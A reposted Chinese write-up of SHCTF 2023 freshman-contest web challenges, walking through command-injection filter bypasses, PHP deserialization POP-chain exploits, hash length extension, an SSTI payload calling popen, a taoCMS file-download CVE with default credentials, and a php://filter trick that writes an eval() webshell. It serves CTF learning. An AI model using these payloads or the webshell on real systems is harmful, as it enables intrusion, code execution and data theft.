[SHCTF 2023新生赛] web题解

news2025/2/24 2:31:17

文章目录

  • [WEEK1]
    • babyRCE
    • 1zzphp
    • ez_serialize
    • 登录就给flag
    • 飞机大战
      • 方法一
      • 方法二
    • ezphp
    • 生成你的邀请函吧~
  • [WEEK2]
    • serialize
    • no_wake_up
    • MD5的事就拜托了
      • Hashpump
      • hash_ext_attack脚本
    • ez_ssti
    • EasyCMS
  • [WEEK3]
    • sseerriiaalliizzee
    • gogogo


[WEEK1]

babyRCE

源码

<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

简单的过滤,分别用反斜杠\绕过对关键字的过滤和用${IFS}绕过对空格的过滤

?rce=l\s${IFS}/

在这里插入图片描述?rce=ca\t${IFS}/fl\ag

在这里插入图片描述

1zzphp

源代码

 <?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
    $code = (String)$_POST['c_ode'];
    $num=$_GET['num'];
    if(preg_match("/[0-9]/", $num))
    {
        die("no number!");
    }
    elseif(intval($num))
    {
      if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;
    }
}  what do you want

简单分析一下,第一个是利用数组绕过intval函数;第二个是利用php解析特性和PRCE回溯绕过正则匹配
首先

?num[0]=1

成功绕过第一个if语句
在这里插入图片描述
然后就是利用脚本绕过第二个
注意变量名为c ode

import requests

data = {
  'c ode': 'SHCTF' +'a'*1000000 + '2023SHCTF'
}

res = requests.post('http://112.6.51.212:32100/?num[0]=1', data=data, allow_redirects=False)
print(res.text)

得到flag

在这里插入图片描述

ez_serialize

源码

<?php
highlight_file(__FILE__);

class A{
  public $var_1;
  
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}

if(isset($_GET['payload']))
{
    unserialize($_GET['payload']);
}
?>

pop链子如下

B.__wakeup() --> C.__toString() --> D.__get() --> A.__invoke()

exp如下

<?php

class A{
  public $var_1='php://filter/read=convert.base64-encode/resource=flag.php';
}

class B{
  public $q;
}
class C{
  public $var;
  public $z;
}

class D{
  public $p; 
}

$a=new B();
$b=new C();
$c=new D();
$d=new A();
$a->q=$b;
$b->z=$c;
$c->p=$d;
echo serialize($a);

?>

用php伪协议去读,得到flag
在这里插入图片描述

登录就给flag

打开题目,发现是登录框
在这里插入图片描述
我们尝试一下,发现不是sql注入;因为不管输入什么回显都是用户密码错误
那么我们猜测要爆破密码,用户名应该为admin
bp抓包一下,随便用一个弱密码集
在这里插入图片描述

得到密码为password
登录得到flag

在这里插入图片描述

飞机大战

进去发现是游戏
在这里插入图片描述查看下js源码,搜索一下alert
发现原来条件得分要大于99999
在这里插入图片描述
去到控制台,输入下面代码

var scores = 1000000;
jixu();

发现页面被重置了,一开始卡了半天;后面发现location.reload(true);是执行页面重置

方法一

往上找找,发现won函数和Unicode编码的一串字符串

先Unicode解码

在这里插入图片描述

然后base64解码得到flag
在这里插入图片描述

方法二

我们已知won函数可以得到flag
在控制台输入以下代码

var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0033\u005a\u006a\u0067\u0030\u005a\u0044\u006c\u0069\u0059\u0069\u0030\u0033\u0059\u006d\u0045\u0077\u004c\u0054\u0051\u0033\u0059\u006d\u0045\u0074\u0059\u006a\u0063\u0031\u004e\u0079\u0031\u0068\u0059\u0054\u0064\u0069\u004d\u0044\u006b\u0030\u0059\u0057\u0056\u006a\u005a\u006d\u0056\u0039\u000a";
won();

按下回车,即可得到flag

在这里插入图片描述

ezphp

源码

<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
    $pattern=$_POST['pattern'];
    if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
    {
        $code=$_GET['code'];
        preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
        echo "you are smart";
    }else{
        die("try again");
    }
}else{
    die("it is begin");
}
?> 

就是简单的正则匹配的/e模式
得到flag
在这里插入图片描述

生成你的邀请函吧~

打开题目
在这里插入图片描述
按照提示,我们要POST请求发送json数据
打开postman,一步步按要求来
得到flag
在这里插入图片描述

[WEEK2]

serialize

源码

 <?php
highlight_file(__FILE__);
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v;
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}
function check($data){
    if(preg_match('/^O:\d+/',$data)){
        die("you should think harder!");
    }
    else return $data;
}
unserialize(check($_GET["wanna_fl.ag"])); 

分析一下

  1. 我们先找出口为milaoshu.__tostring(),可以伪协议读flag
  2. 再往前找能触发的只有misca.miaomiao()了,不过这里要用到变量引用,让$a指向__tostring()
  3. 再往前就是musca.__wakeup()访问不存在的变量去调用misca.__get()
  4. 链子构造完,再利用数组绕过check方法的检测

pop链

musca.__wakeup() --> misca.__get() --> misca.miaomiao() --> milaoshu.__tostring()

exp

<?php
class misca{
    public $gao;
    public $fei;
    public $a;
}
class musca{
    public $ding;
    public $dong;
}
class milaoshu{
    public $v='php://filter/read=convert.base64-encode/resource=flag.php';
}

$a=new musca();
$b=new misca();
$c=new milaoshu();
$a->ding=$b;
$b->gao=&$b->a;
$b->fei=$c;
echo serialize(array($a));

得到flag
在这里插入图片描述

no_wake_up

源码

 <?php
highlight_file(__FILE__);
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
unserialize($_GET['try']); 

exp

<?php
highlight_file(__FILE__);
class flag{
    public $username='admin';
    public $code='php://filter/read=convert.base64-encode/resource=flag.php';
}

$a=new flag();
echo serialize($a);
?>

绕过wakeup,直接手动数目+1
在这里插入图片描述解码得到flag

MD5的事就拜托了

考点:变量覆盖,哈希拓展攻击

源码

 <?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("</br>");
    }
    if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("</br>");
        }
    }
}
if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
} 

分析一下

  1. POST传参SHCTF,首先parse_url() 函数接受一个URL字符串作为参数,并将其分解为一个关联数组,包含了URL的不同部分;然后extract() 函数使用数组键名作为变量名,使用数组键值作为变量值;if语句考点为变量覆盖,如果为真返回flag的MD5值
  2. GET传参length,这个if语句传个小数即可绕过
  3. 最后考察的是哈希拓展攻击

我们先看条件1,本地测试下相关函数
parse_url函数

<?php
highlight_file(__FILE__);
$url='https://www.example.com:8080/path/file.php?var1=value1';
$array=parse_url($url);
var_dump($array);

测试结果为
在这里插入图片描述说明返回结果是关联数组,且数组名为对应url不同位置
所以这里变量覆盖的名称得结合url各部分的名称,构造如下

//这里我选用的是url的scheme,host,query这三个位置
$scheme=host
$$scheme=$host=query
$$$scheme=$query=SHCTF

host://query?SHCTF  //分别把值对应到url上

然后再看GET传参,直接传1.0001
返回了flag的MD5值和长度
在这里插入图片描述然后看向最后的if语句,直接网上搜md5($flag.urldecode($num)),可以搜到其考点为哈希拓展攻击。这里跟网上的例题不太一样,这道题目给的是flag的MD5值,而不是md5($flag.urldecode($num))这个整体的MD5值

所以这里有个小逻辑(我当时卡了好久),就是让上述这两个MD5值相等即可。这想法是怎么想的呢,首先哈希拓展攻击是单向的,无法反推。结合变量num的值可控,那么我们让其为空不就行了,下面我用两个工具展示一下

Hashpump

为了使得变量num为空,这里我们随便输入1,然后复制的时候不管它就行了
(注意\x要都改为%)
在这里插入图片描述得到flag

hash_ext_attack脚本

同样让明文为空
在这里插入图片描述得到flag
在这里插入图片描述

ez_ssti

先试试常用参数name,然后判断下ssti
在这里插入图片描述payload

{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}

得到flag
在这里插入图片描述

EasyCMS

考点:CVE-2021-44983

打开题目,提示taoCMS管理系统
在这里插入图片描述点开给的链接,按照提示找到CMSer模板
在这里插入图片描述
内容大概讲的是如何应用该模板,然后这里下载的版本是3.02
在这里插入图片描述
直接去网上搜,发现此版本的后台文件管理处存在任意文件下载漏洞(CVE-2021-44983)

我们先./admin/进入后台登陆界面
在这里插入图片描述
然后输入用户名:admin;密码:tao
成功进入后点击文件管理
在这里插入图片描述随便下一个,然后bp抓包
得到flag
在这里插入图片描述

[WEEK3]

sseerriiaalliizzee

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}

class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}

    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?> 

分析一下

  1. 首先找到出口为CTF.dosomething(),这里的file_put_contents()可以进行getshell拿到flag,往前推到Start__toString()
  2. 要想触发tostring方法,只有Flag.dosomething()的return可以
  3. 再往前推,Start.__construct()方法会指向Flag类

pop链如下

Start.__construct() --> Flag.dosomething() --> Start__toString() --> CTF.dosomething()

这里有个关键点就是如何绕过死亡代码<?php die("+Genshin Impact Start!+");?>,因为它会拼接起来去执行。我们的方法是strip_tags绕过,因为死亡代码实际上是XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

但是我们要写入的一句话木马也是XML标签,在用到strip_tags时也会被去除。所以注意到在写入文件的时候,filter是支持多个过滤器的。可以先将webshell经过base64编码,strip_tags去除死亡exit之后,再通过base64-decode复原。

exp如下

<?php
class Start{
    public $barking;

}
class CTF{ 
    public $part1;
    public $part2;
}

class Flag{

}

$a=new Start();
$b=new Flag();
$c=new CTF();
$a->barking=$b;
$a->barking=$c;
$c->part1='php://filter/string.strip_tags|convert.base64-decode/resource=shell.php';
$c->part2='PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==';
echo serialize($a);
?> 

上传后,访问./shell.php,得到flag
在这里插入图片描述

gogogo

考点:go代码审计,session伪造,通配符绕过

main.go

package main

import (
	"main/route"

	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/readflag", route.Readflag)
	r.Run("0.0.0.0:8000")
}

分析一下,就是给了两个路由。然后追踪再看看route.go

package route

import (
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"main/readfile"
	"net/http"
	"os"
	"regexp"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] !== nil {
		session.Values["name"] = "User"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, User. How to become admin?")

}

func Readflag(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == "admin" {
		c.String(200, "Congratulation! You are admin,But how to get flag?\n")

		path := c.Query("filename")

		reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

		if reg.MatchString(path) {

			http.Error(c.Writer, "nonono", http.StatusInternalServerError)
			return
		}

		var data []byte
		if path != "" {
			data = readfile.ReadFile(path)
		} else {
			data = []byte("请传入参数")
		}

		c.JSON(200, gin.H{
			"success": "read: " + string(data),
		})
	} else {
		c.String(200, "Hello, User. How to become admin?")
	}
}

index函数作用是如果session中name的值不为nil,它将把name值设置为User;然后看readflag函数,发现检测name的值是否为admin,如果是可以进行读取文件

这里的意思很好懂,就是要把name的值改为admin。但是抓包后发现是有加密的
在这里插入图片描述具体加密方式在源码中给了

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

大概意思是使用os.Getenv(“SESSION_KEY”)获取环境变量"SESSION_KEY"的值,这个值将用作会话存储的密钥。但是我们怎么能获取key呢,只能对SESSION_KEY进行猜测,就是并未设置SESSION_KEY,所以我们可以本地搭环境得到session值去伪造

首先把附件源码复制到创建的文件夹里
在这里插入图片描述

设置以下代理

go env -w GOPROXY=https://goproxy.io,direct

在这里插入图片描述

修改下index代码

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		session.Values["name"] = "admin"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, User. How to become admin?")

}

目的就是如果不为admin,将会把name设置成admin,也就达成我们的目的
然后跑一下main.go
在这里插入图片描述访问127.0.0.1:8000,对应的cookie即为admin
在这里插入图片描述

最后就是readfile.go

package readfile

import (
	"os/exec"
)

func ReadFile(path string) (string2 []byte) {
	defer func() {
		panic_err := recover()
		if panic_err != nil {

		}
	}()
	cmd := exec.Command("bash", "-c", "strings  "+path)
	string2, err := cmd.Output()
	if err != nil {
		string2 = []byte("文件不存在")
	}
	return string2
}

简单的读取文件,构造出读取文件的语句./flag

回到题目,我们已经得到admin的cookie了
访问./readflag,bp抓包修改name值
在这里插入图片描述然后看看过滤条件

reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

不难发现有个a还可以用并且问号没被过滤,这里采取通配符绕过
payload

?file=/??a?

得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1148987.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue的安装

----------------------------------------------------前置---------------------------------------------------- 1.node.js的下载安装、缓存路径的设置 ①安装 ②设置npm prefix, cache 2.NODE_PATH、PATH ①系统变量中加 ②PATH中加 3.配置镜像源 -----------------------…

华锐技术何志东:证券核心交易系统分布式改造将迎来规模化落地阶段

近年来&#xff0c;数字化转型成为证券业发展的下一战略高地&#xff0c;根据 2021 年证券业协会专项调查结果显示&#xff0c;71% 的券商将数字化转型列为公司战略任务。 在落地数字化转型战略过程中&#xff0c;证券业核心交易系统面临着不少挑战。构建新一代分布式核心交易…

Ansible自动化运维工具介绍与部属

Ansible自动化运维工具介绍与部属 一、ansible简介1.1、什么是Ansible1.2、Ansible的特点1.3、Ansible的架构 二、Ansible任务执行解析2.1、ansible任务执行模式2.2、ansible执行流程2.3、ansible命令执行过程 三、部署ansible管理集群3.1、实验环境3.2、安装ansible3.3、查看基…

[架构之路-246/创业之路-77]:目标系统 - 纵向分层 - 企业信息化的呈现形态:常见企业信息化软件系统 - 客户关系管理系统CRM

目录 前言&#xff1a; 一、企业信息化的结果&#xff1a;常见企业信息化软件 1.1 客户关系管理系统CRM 1.1.1 什么是客户关系管理系统 1.1.2 CRM总体架构 1.1.3 什么类型的企业需要CRM 1.1.4 创业公司在什么阶段需要CRM 1.1.5 研发型创业公司什么时候需要CRM 1.1.6 C…

面试题:说一下海量请求下的接口并发解决方案

文章目录 服务限流限流算法1. 漏斗算法2. 令牌桶算法3. 滑窗算法 接入层限流Nginx限流 本地接口限流Semaphore 分布式接口限流使用消息队列 设定一个场景&#xff0c;假如一个商品接口在某段时间突然上升&#xff0c;会怎么办&#xff1f; 生活中的例子来说&#xff0c;假设冰…

1.4 安全服务

思维导图&#xff1a; 1.4 安全服务 定义&#xff1a;在通信开放系统中&#xff0c;为系统或数据传输提供足够安全的协议层服务。 RFC4949 定义&#xff1a;由系统提供的对系统资源进行特殊保护的处理或通信服务。安全服务通过安全机制来实现安全策略。 分类&#xff1a;X.800 …

加密机:保护您的信息安全的强大工具

在当今数字化的世界中&#xff0c;信息安全显得尤为重要。信息不仅关乎个人的隐私&#xff0c;也关乎企业的生死存亡。无论是个人还是企业&#xff0c;我们都需要一种强大的工具来保护我们的信息安全&#xff0c;这种工具就是加密机。 加密机是一种专门用于加密和解密电子数据的…

腾讯云香港服务器轻量24元一个月性能测试

腾讯云香港轻量应用服务器优惠价格24元一个月&#xff0c;一年288元&#xff0c;以前是30M峰值带宽&#xff0c;现在是20M峰值带宽&#xff0c;阿腾云atengyun.com分享腾讯云香港轻量应用服务器性能测评&#xff0c;包括香港轻量服务器配置价格表、CPU性能和CN2网络延迟测试&am…

中学化学实验室方案建设要求及注意事项

中学化学实验室是供学生进行化学实验和教师进行实验教学的地方。它通常包括实验台、通风设备、储存柜等设施&#xff0c;以及各种实验仪器和药品。在实验室中&#xff0c;学生可以通过实验学习化学知识&#xff0c;进行化学反应的观察和测量&#xff0c;提高自己的实践能力和科…

Vue3.3指北(五)

Vue3.3指北 1、axios1.1、axios是什么1.2、axios特点1.3、json-server1.4、安装axios 2、请求配置2.1、axios API2.2、请求别名的使用2.3、响应结构2.4、请求配置2.5、全局配置2.6、创建axios实例2.7、修改实例配置 3、发送Get请求4、发送POST请求5、发送并发请求6、axios拦截器…

轨迹规划 | 图解路径跟踪PID算法(附ROS C++/Python/Matlab仿真)

目录 0 专栏介绍1 PID控制基本原理2 基于PID的路径跟踪3 仿真实现3.1 ROS C实现3.2 Python实现3.3 Matlab实现 0 专栏介绍 &#x1f525;附C/Python/Matlab全套代码&#x1f525;课程设计、毕业设计、创新竞赛必备&#xff01;详细介绍全局规划(图搜索、采样法、智能算法等)&a…

Python基础入门例程25-NP25 有序的列表(列表)

最近的博文&#xff1a; Python基础入门例程24-NP24 淘汰排名最后的学生&#xff08;列表&#xff09;-CSDN博客 Python基础入门例程23-NP23 删除好友&#xff08;列表&#xff09;-CSDN博客 Python基础入门例程22-NP22 删除简历&#xff08;列表&#xff09;-CSDN博客 目录 最…

进阶设计一(DDR3)——FPGA学习笔记<?>

一.简介 DDR3 SDRAM&#xff0c;以其单位存储量大、高数据带宽、读写速度快、价格相对便宜等优点 吸引了大批客户&#xff0c;占领市场较大份额。同时&#xff0c;作为内存条中不可缺少的一部分&#xff0c;DDR3 SDRAM 在计算机领域也占有一席之地。 要掌握 DDR3 SDRAM…

公众号流量主项目,只需搬运,一篇文章收益2000+

最近公众号流量主火得不行&#xff0c;大家都想着抓住这个赚钱机会。 连培训团队都看到了商机&#xff0c;开起了学费最低要四位数&#xff0c;甚至高达9880的培训班&#xff01;看来这行确实是个风口项目啊。 以前公众号是个封闭的圈子&#xff0c;你的阅读量和粉丝数量是成正…

Vue指令大全:深入探索Vue提供的强大指令功能

目录 v-bind指令 v-on指令 v-if和v-show指令 v-for指令 自定义指令 其他常用指令 总结 Vue.js是一款流行的JavaScript框架&#xff0c;具备丰富的指令系统。Vue指令允许开发者直接在模板中添加特殊属性&#xff0c;以实现DOM操作、事件绑定、样式控制等功能。在本文中&a…

PHP+MySQL的大学宿舍管理系统【附源码】

视频如下&#xff1a; PHPMySQL宿舍管理系统【】 ** 图&#xff1a; ** 目 录 摘 要 I Abstract II 前 言 IV 1 概述 1 1.1系统开发的目的 1 1.2国内外的研究情况 1 1.3本文主要完成的工作 2 2 开发环境以及开发工具 3 2.1开发环境 3 2.1.1 硬件的开发环境 3 2.1.2 软件的开发…

【Unity ShaderGraph】| 快速制作一个 卡通阴影色块效果

前言 【Unity ShaderGraph】| 快速制作一个 卡通阴影色块效果一、效果展示二、卡通阴影色块效果三、应用实例 前言 本文将使用ShaderGraph制作一个卡通阴影色块的效果&#xff0c;可以直接拿到项目中使用。对ShaderGraph还不了解的小伙伴可以参考这篇文章&#xff1a;【Unity …

同屏实时渲染百万级独立的3D可渲染对象

大规模渲染在游戏、家装、或者其他生产制造相关的环境下有直接的刚需&#xff0c;能独立渲染的3D对象越多&#xff0c;越容易实现复杂的场景需求。 下图是200多万(2 * 1024 * 1024)个可渲染的3D对象&#xff0c;的实时渲染情况截图。

API接口在电商数据采集【例如:淘宝平台商品详情SKU订单数据接口的采集 】中的接入说明及参数讲解

No.1 接口请求方式类型 常见的http请求方式包括&#xff1a;get&#xff08;查&#xff09;、post&#xff08;增&#xff09;&#xff0c;除此之外还有put&#xff08;改&#xff09;、delete&#xff08;删&#xff09;等。接口所属类型是由业务决定的。比如你打开淘宝&…

【javaweb】学习日记Day13 - AOP 事务管理 切入点 连接点

目录 一、完善解散部门功能 二、spring 事务 &#xff08;1&#xff09;Transactional 事务管理 ① rollbackFor 控制异常类型 ② propagation 事务传播控制 1、定义解散部门操作日记 三、AOP基础 1、概述 2、快速入门 &#xff08;1&#xff09;案例&#xff1a;统…